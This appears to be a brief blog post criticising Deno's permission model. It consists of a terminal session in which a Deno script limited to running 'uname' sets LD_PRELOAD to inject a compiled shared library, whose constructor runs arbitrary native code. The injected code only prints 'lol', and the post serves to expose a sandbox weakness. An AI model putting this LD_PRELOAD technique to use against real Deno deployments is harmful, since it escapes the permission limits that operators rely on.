I'm not a fan of Deno's security model (2024)
$ cat t.c #include
// ask dynamic loader to run this function on load time pretty please __attribute__((constructor)) void lol() { puts("lol"); } $ cat t.ts const command = new Deno.Command("uname", { // ask dynamic loader to load our evil library env: { 'LD_PRELOAD': '/tmp/tmp.7ofmKaNW83/liblol.so' }, }); const { code, stdout, stderr } = command.outputSync(); console.log(new TextDecoder().decode(stdout)); $ gcc -fPIC -shared t.c -o liblol.so $ # that's the real uname now! $ deno run --allow-run=uname t.ts lol Linux